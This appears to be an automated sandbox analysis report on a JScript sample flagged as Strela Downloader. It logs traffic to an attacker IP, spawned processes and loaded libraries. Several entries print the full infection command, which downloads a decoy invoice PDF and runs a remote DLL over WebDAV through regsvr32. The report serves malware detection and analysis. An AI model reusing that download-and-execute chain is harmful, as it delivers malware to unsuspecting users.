HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.2313525000.000001DD9215D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.2383945491.0000029A60358000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2383945491.0000029A60389000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2383945491.0000029A603AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000002.2383945491.0000029A60358000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/3
Source: net.exe, 00000008.00000002.2383945491.0000029A60389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Aj
Source: net.exe, 00000008.00000002.2383945491.0000029A60389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Mj
Source: net.exe, 00000008.00000002.2383945491.0000029A60358000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 0000000A.00000002.3607013555.000001E9CF000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.2397603489.000001E9CEDA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 988, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 12662108703247616042.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1948:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_top4tie4.rxq.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1528,i,11837120087774493213,17159366251961695351,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1528,i,11837120087774493213,17159366251961695351,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
